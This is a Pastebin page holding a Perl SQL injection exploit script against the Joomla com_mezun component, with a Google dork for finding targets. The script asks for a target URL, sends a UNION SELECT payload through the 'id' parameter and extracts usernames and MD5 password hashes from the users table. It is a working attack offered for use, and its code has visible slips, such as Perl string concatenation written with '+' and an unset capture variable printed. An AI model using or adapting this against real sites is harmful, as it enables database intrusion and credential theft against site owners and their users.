HaniXavi

Joomla Component com_mezun Sql Injection By Hani Xavi

Oct 22nd, 2014
785
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.32 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Exploit title: Joomla Component com_mezun SQL Injection exploit
  3. #Google Dork: inurl:index.php?option=com_mezun
  4. #Exploit Author: Hani Xavi
  5.  
  6. system("color a");
  7.  
  8. print " █ █ \n";
  9. print " █ █ █▒ ▒█ \n";
  10. print " █ █ ░█ █░ \n";
  11. print " █ █ ░███░ █▒██▒ ███ ▓▒▒▓ ░███░ █░ ░█ ███ \n";
  12. print " █ █ █▒ ▒█ █▓ ▒█ █ ██ █▒ ▒█ ▓▒ ▒▓ █ \n";
  13. print " ██████ █ █ █ █ ██ █ ▒█ █▒ █ \n";
  14. print " █ █ ▒████ █ █ █ ▒██░ ▒████ █ █ █ \n";
  15. print " █ █ █▒ █ █ █ █ █▒▒█ █▒ █ █▓█ █ \n";
  16. print " █ █ █░ ▓█ █ █ █ ▒█ █░ █░ ▓█ ▒█▒ █ \n";
  17. print " █ █ ▒██▒█ █ █ █████ █▒ ▒█ ▒██▒█ ░█░ █████ \n";
  18.  
  19.  
  20. print "*********************************************\n";
  21. print "* Joomla Component com_mezun *\n";
  22. print "* SQL Injection *\n";
  23. print "* Coded by Hani Xavi *\n";
  24. print "*********************************************\n";
  25. sleep 1;
  26. use LWP::UserAgent;
  27. print "Enter the target --> ";
  28. chomp(my $target=<STDIN>);
  29. $code="/**/union/**/select/**/concat(username,0x3a,password),username,password,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/"+pre+"_users/;";
  30. $agent = LWP::UserAgent->new() or die "[!] Error while processing";
  31. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
  32. $host= $target. "/index.php?option=com_mezun&task=edit&hidemainmenu=joomla&id=-9999999==".$code;
  33. $ok = $agent->request(HTTP::Request->new(GET=>$host));
  34. $ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
  35. print "[+] Password found --> $1\n$2\n";
  36.  
  37. sleep 1;
  38. }
  39. else
  40. {
  41. print "Password not found \n";
  42. }
Advertisement
Add Comment
Please, Sign In to add comment